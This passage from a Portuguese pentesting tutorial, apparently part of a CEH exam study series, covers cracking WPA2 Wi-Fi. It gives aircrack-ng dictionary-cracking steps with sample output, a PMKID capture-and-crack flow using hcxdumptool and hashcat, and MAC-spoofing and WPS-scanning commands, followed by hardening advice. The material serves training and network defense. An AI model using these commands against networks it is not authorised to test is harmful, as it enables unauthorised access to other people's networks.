# ============================================================
# PASSO 5: Verificar Handshake Capturado
# ============================================================
aircrack-ng /tmp/handshake-01.cap
# Deve mostrar: "1 handshake"
# ============================================================
# PASSO 6: Cracking
# ============================================================
# Descompactar rockyou.txt (primeira vez)
sudo gunzip /usr/share/wordlists/rockyou.txt.gz
# Cracking com aircrack-ng (CPU)
aircrack-ng -w /usr/share/wordlists/rockyou.txt /tmp/handshake-01.cap
#
# Aircrack-ng 1.7
#
# [00:05:23] 847293 keys tested (2453.18 k/s)
#
# TIME: 00:05:45
#
# KEY FOUND! [ MinhaSenha123 ]
#
# Master Key : 7A 3F 8B 2C D1 4E 9A F6 ...
# Transient Key : C4 2D 8E 1A 5B 7F 3C 9D ...
# ============================================================
# PASSO 7: Limpeza
# ============================================================
# Restaurar interface
sudo airmon-ng stop wlan0mon
sudo systemctl start NetworkManager
# Remover capturas (se em ambiente de produção)
rm -f /tmp/handshake*.cap
Fluxo do PMKID (Alternativa mais Silenciosa)
# Se o AP suporta PMKID (mais rápido, sem deauth)
sudo hcxdumptool -i wlan0mon -o /tmp/pmkid.pcapng --enable_status=15
# Ctrl+C após ~30 segundos
# Converter
hcxpcapngtool -o /tmp/pmkid.hc22000 /tmp/pmkid.pcapng
# Crack
hashcat -m 22000 /tmp/pmkid.hc22000 /usr/share/wordlists/rockyou.txt
# Ver resultado
hashcat -m 22000 /tmp/pmkid.hc22000 --show
12. Contra-medidas e Hardening
A defesa contra ataques wireless combina configurações corretas com monitoramento ativo. Aqui está o checklist completo para proteger redes wireless.
1. WPA3 Onde Possível
A migração para WPA3 é a defesa mais eficaz. WPA3-SAE elimina o cracking offline e adiciona forward secrecy. Em APs que suportam WPA3, configure em modo WPA3-only (não modo misto WPA2/WPA3). Dispositivos legados que não suportam WPA3 devem ser segregados em VLAN separada ou atualizados.
2. Senhas Fortes (16+ Caracteres)
A defesa fundamental do WPA2-PSK é a força da senha. Com cracking GPU atingindo ~300.000 PMKs/segundo:
- 8 caracteres (letras minúsculas): 26^8 = 208 bilhões de combinações. Quebrado em minutos com GPU.
- 8 caracteres (maiúsculas + minúsculas + números + símbolos): 95^8 = 6.6 quatrilhões. ~6 horas com RTX 4090.
- 12 caracteres (todos os tipos): 95^12 = 5.4 × 10^23. ~570 anos com RTX 4090. Praticamente seguro.
- 16+ caracteres aleatórios: 95^16 = 4.4 × 10^31. Seguro contra qualquer ataque de dicionário ou brute-force realista.
Use frases-senha (passphrases) memoráveis: "GatoMarromPulaNaCadeira#2024!" — 32 caracteres, fácil de lembrar, impossível de quebrar.
3. Desabilitar WPS
O WPS é uma porta dos fundos para a rede Wi-Fi. O PIN de 8 dígitos pode ser brute-forçado em horas (ou segundos com Pixie Dust). Desabilite WPS completamente em todos os APs — não basta usar "WPS Lock", que pode ser desbloqueado remotamente em alguns modelos.
# Verificar se WPS está ativo (como atacante)
sudo wash -i wlan0mon
#
# BSSID Ch dBm WPS Lck Vendor ESSID
# AA:BB:CC:DD:EE:FF 6 -45 1.0 No TP-Link MinhaRede
4. WPA2-Enterprise (802.1X) para Ambientes Corporativos
O WPA2-Enterprise elimina o problema de chave compartilhada. Cada usuário tem credenciais individuais (certificado ou username/password via RADIUS). Comprometer uma credencial não compromete toda a rede — apenas o acesso desse usuário. A rotação de credenciais e o MFA adicionam camadas extras.
5. Monitorar Rogue APs — WIDS
Um Wireless Intrusion Detection System monitora o espectro wireless em busca de:
- APs com BSSID não autorizado
- Múltiplos deauth frames em sequência
- APs com SSID duplicado (possível evil twin)
- Mudanças súbitas no BSSID de um SSID conhecido
Ferramentas WIDS: Kismet (open-source), solutions comerciais (Cisco WLC WIPS, Aruba ClearPass, Fortinet FortiWLC). Kismet é particularmente útil porque detecta automaticamente deauth floods e SSID spoofing.
6. Auditorias Regulares
Realize auditorias wireless periódicas (trimestral no mínimo) com ferramentas como Wifite e Aircrack-ng. Teste suas próprias redes como um atacante faria — se você consegue capturar e crackar o handshake, um atacante também consegue. Documente os resultados e corrija imediatamente.
7. MAC Filtering (Débil, Mas Não Inútil)
O MAC filtering bloqueia dispositivos por endereço MAC. É facilmente burlado (qualquer pentester pode falsificar um MAC com macchanger -m AA:BB:CC:DD:EE:FF wlan0). No entanto, adiciona uma camada de fricção que impede usuários não-técnicos de conectar dispositivos não autorizados. Use como complemento, nunca como defesa principal.
8. Hidden SSID — Não Ajuda
Ocultar o SSID (disabling beacon) é segurança por obscuridade. O SSID é transmitido em plaintext em probe requests, probe responses, association requests e reassociation requests. Qualquer adaptador em monitor mode detecta o SSID oculto em segundos:
# Detectar hidden SSIDs — o airodump-ng mostra "(length: X)" para SSIDs ocultos
# e revela o nome quando um cliente se conecta
sudo airodump-ng wlan0mon
# AA:BB:CC:DD:EE:FF -45 1523 847 6 WPA2
Não gaste tempo ocultando SSIDs. Configure um SSID genérico se quiser evitar identificação da organização, mas não espere segurança disso.
Resumo do Artigo
Wireless hacking é um dos domínios mais acessíveis e práticos do pentesting. A cadeia de ataque WPA2 — monitor mode → scan → handshake capture → deauth → offline cracking — pode ser executada em minutos com o conhecimento certo e o hardware adequado.
A evolução para WPA3 representa uma mudança de paradigma: o fim do cracking offline significa que o atacante precisa de abordagens mais sofisticadas — evil twin, phishing, exploração de implementações. Mas enquanto a maioria das redes ainda rodar WPA2-PSK com senhas fracas, as técnicas clássicas continuam sendo altamente eficazes.
Para a prova do CEH v13, foque em:
- Entender o 4-way handshake e por que ele permite cracking offline
- Saber operar cada componente do Aircrack-ng
- Conhecer a evolução WEP → WPA → WPA2 → WPA3 e as fraquezas de cada
- Entender o ataque PMKID e por que é mais silencioso
- Saber configurar contra-medidas (WPA3, senhas fortes, desabilitar WPS)
Na próxima seção da série, vamos explorar Session Hijacking — como explorar sessões web, tokens e cookies para assumir a identidade de usuários autenticados.
📚 Próximo artigo: Session Hijacking: Cookies, Tokens e a Arte de Assumir Identidades — Cobrindo session fixation, prediction, hijacking de HTTP/HTTPS, XSS stealing, e defesa com SameSite cookies, HSTS, e token binding.